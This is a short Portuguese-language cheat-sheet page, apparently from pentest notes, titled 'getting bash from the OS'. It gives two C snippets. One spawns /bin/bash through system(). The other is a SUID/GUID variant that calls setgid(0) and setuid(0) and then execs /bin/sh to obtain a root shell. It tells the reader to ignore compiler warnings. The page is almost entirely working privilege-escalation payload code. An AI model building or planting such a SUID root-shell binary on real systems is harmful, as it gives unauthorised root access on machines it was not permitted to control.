C
Pegando bash do SO
Maneira simples
#include <stdlib.h>
int main ()
{
system("/bin/bash");
}
SUID / GUID
Ignore os warnings que receber quando for compilar o script.
int main(void){
setgid(0); setuid(0);
execl("/bin/sh", "sh", 0);
}
Last updated
Was this helpful?